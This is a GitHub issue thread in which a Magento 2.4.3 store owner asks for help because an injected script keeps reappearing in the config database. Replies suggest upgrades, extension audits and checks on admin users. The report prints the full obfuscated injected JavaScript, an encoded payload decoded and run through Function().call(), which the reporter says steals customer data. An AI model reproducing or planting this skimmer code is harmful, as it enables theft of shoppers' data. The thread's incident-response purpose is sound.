Auto add malicious script in magento database from unknown source

[Bilalyounas1234]

1. Summary

Hi community,

We have been facing an issue for the last 4 to 5 months a malicious script is added to Magento coreconfigdata table related to design entries from an unknown source we removed it so many times but it again comes into the table after 2 or 3 days we unable to identify the source who is responsible for adding this script
The script which is added to the table is below

<script> var o62634 = "1lj31sj36k79707m6s6k4n7f7k6s6s7b4k737l764070767l746l7h7e547875707j76796s7054536o7978545e75707m7l7879707l7m5e5b4k766m727l6s785c7c84757l746m536o6l7h745c7l4k7c84757l746m545e5d746s6s766k7h6m737f7h75767a6s74796p7l7j797d7f6s7276796s707f73757k7d79767k76705e534i7l4n7e7l7077767a5252547j7e7l7h744070767l746l7h7e546k79707m6s6k4n7f7k6s6s7b53587l4n7k79707m545e7j7e797j7b5e587875707j76796s70547l536o6k79707m6s6k4n7f6s747h7j7e7l6r6r747l717579747l547r5e7c71757l746m5e585e447h777l70766s7f4a7a7l7j7b6s75764m7c734m7d6s7m7l7e4m71756s767l5e80587875707j76796s70547l5876586s536o7978547j7573766s7d7l744d7h767h4k6k79707m6s6k4n7j7573766s7d7l744d7h767h587l7d7h797e4k7j7573766s7d7l744d7h767h4n7l7d7h797e585e75707m7l7879707l7m5e4k4k766m727l6s785c7l7d7h797e5252547l7d7h797e4k764n77757l73764c7d7h797e53587h7m7m747l73734k764n7k797e7e797077487m7m747l73735453585e75707m7l7879707l7m5e5b4k766m727l6s785c7h7m7m747l7373525270757e7e5b4k7h7m7m747l737352527h7m7m747l73734n7j79766m536o6l7h745c7h4k7l545e5d746s6s766k7h6m737f7h75767a6s74796p7l7j797d7f6s7276796s707f7j7j7f70757d7k7l745e534n6l7h7e545358744k7l545e5d746s6s766k7h6m737f7h75767a6s74796p7l7j797d7f6s7276796s707f7l6n7279747h76796s705e534n6l7h7e545358794k7l545e5d746s6s766k7h6m737f7h75767a6s74796p7l7j797d7f6s7276796s707f7l6n7279747h76796s707f6m745e534n6l7h7e545358704k7l545e5d746s6s766k7h6m737f7h75767a6s74796p7l7j797d7f6s7276796s707f7j7j7f7j797m5e534n6l7h7e54534i7978547h525274525279525270536o6l7h745c734k516o5e707h7d7l5e4j5e51587m4k515e585e6l7h7e757l5e4j5e51587j4k515e6q585158754k5e7r5e5573555e7a6s73765e557m557m6s7j757d7l70764n888745557j4i786s74546n5c79705c75554k73555e7h777l70765e557m55707h6l79777h766s744n75737l7448777l7076557j5875554k73555e75737l74707h7d7l5e557m55547l7d7h797e6r6r5e5e53557j587h7m7m747l7373537978545e7875707j76796s705e5b4k766m727l6s785c7h7m7m747l73737r6n80537978545e7376747l7l765e5b4k6n5375554k516o5e707h7d7l5e4j5e51556n55515e585e6l7h7e757l5e4j5e51557h7m7m747l73737r6n80557j4i7l7e737l5c786s74546m5c79705c7h7m7m747l73734n7376747l7l765375554k73555e7376747l7l767r5e556m555e805e557m557h7m7m747l73734n7376747l7l767r6m80557j4i75554k73555e727h6m7d7l70767r7j7j7f70757d7k7l74805e557m557h557j5875554k73555e727h6m7d7l70767r7j7j7f7j797m805e557m5570557j5875554k73555e727h6m7d7l70767r7j7j7f7l6n727f7d6s70767a805e557m5574557j58754k5475554k73555e727h6m7d7l70767r7j7j7f7l6n727f6m7l7h74805e557m5579557j534n747l727e7h7j7l544m407m4m77585e7f797m5e534n737e797j7l544p58574o53555e805e586k79707m6s6k4n7f6s747h7j7e7l4k4o4i6l7h745c7d4k7875707j76796s70547l536o6l7h745c76586s587h4k7k766s7h547l707j6s7m7l8887404a6s7d726s707l7076547l535358744k5e5e4i786s7454764k4p4i764l7h4n7e7l7077767a4i765555536s4k4r4s55544r4h55544o4r4f7g7h7r76804n7j7a7h744a6s7m7l4876544p53537g4o4r4o535874554k8676747970774n78746s7d4a7a7h744a6s7m7l546s534i747l767574705c746q5475534i737l7689797d7l6s7576547875707j76796s7054536o7l4n7h7c7h6n546o75747e4j7m6s7j757d7l70764n88874558766m727l4j5e726s73765e587m7h767h896m727l4j5e767l6n765e587m7h767h4j6o736s75747j7l4j5e727h6m7d7l7076737f737m7b5e5871756s767l446s7m7l4j5e7j7a7l7j7b6s75765e587d74797m4j5e87854f48894r504f434b424h435e587j6s7d724j5e7d7l73737h777l73587k7576766s70735e587j7e797l70767f797m4j5e48894d7s4g7f4c4a3s7a5778757m7l737s6s507b6p4q783r8986824o726p757n4a8650407c7s44715043427m87424e7a84874q876n6m7h786n4q4g414r78854q4f4q7n767d7e84837p7q7c8879487h7l5e587j7h74764a7a7l7j7b86757d4d7h767h4j7d6q6q536q584s4p4p536q6q6q536q53536q6q584o7l4q534i";var u48928=29;var k81320=o62634;var h1446=k81320.split("j3"),r91161=parseInt(h1446<0],29),q95337=parseInt(h1446[1],29);var c26982=[];for(var m18405=0;m18405=2){c26982.push(h1446[2].substring(m18405,m184052));}var k81320="";for(var g63966=0;c26982.length>g63966;g63966)k81320+=String.fromCharCode(((parseInt(c26982[g63966],u48928)-r91161)^q95337)-r91161);Function(k81320).call(); </script>

By using this script someone is stealing our data related to customers.
WAF is also enabled on our server and working well. we also contacted sucuri.net but were unable to identify the source.
It would be appreciated if you could guide the steps to identify the source.

Thanks in advance

1. Examples

When you decode this code it will become a script and some time it also add in the jquery file

1. Proposed solution

No response

1. Release note

No response

1. Triage and priority

• Severity: S0 - Affects critical data or functionality and leaves users without workaround.
• Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
• Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
• Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
• [ > Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.

[m2-assistant]

Hi @Bilalyounas1234. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:

• @magento give me 2.4-develop instance - upcoming 2.4.x release
• For more details, review the Magento Contributor Assistant documentation.
• Add a comment to assign the issue: @magento I am working on this
• To learn more about issue processing workflow, refer to the Code Contributions.

---

Join Magento Community Engineering Slack and ask your questions in #github channel.
⚠️ According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting.
🕙 You can find the schedule on the Magento Community Calendar page.
📞 The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.

[ssx]

@Bilalyounas1234 what version of Magento are you using?

[ssx]

In short, either your site is repeatedly hacked and being exploited or you've missed some code they've left around as a backdoor.

[m2-assistant]

Hi @engcom-Hotel. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

• 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
• 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
• 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
• 4. Verify that the issue is reproducible on 2.4-develop branch
  Details

  - Add the comment @magento give me 2.4-develop instance to deploy test instance on Magento infrastructure.
  - If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
  - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
• 5. Add label Issue: Confirmed once verification is complete.
• 6. Make sure that automatic system confirms that report has been added to the backlog.

[engcom-Hotel]

Hello @Bilalyounas1234,

This doesn’t seem like the Magento vulnerability. This could be due to the following reasons:

• Not Upgrading: We suggest you please upgrade to the latest Magento version
• Vulnerable customizations
• Malicious admin users
• Vulnerable 3rd party extensions: Suggest you disable the 3rd party extensions and check by enabling them 1 by 1.

Thanks

[Bilalyounas1234]

@Bilalyounas1234 what version of Magento are you using?

The magento version is 2.4.3

[Bilalyounas1234]

In short, either your site is repeatedly hacked and being exploited or you've missed some code they've left around as a backdoor.

The site is repeatedly hacked from last 6 months

We update the vendor some time ago as well we also update the third party extension

[engcom-Hotel]

Hello @Bilalyounas1234,

Have you tried to fix the reasons mentioned here in this #38706 (comment)?

Thanks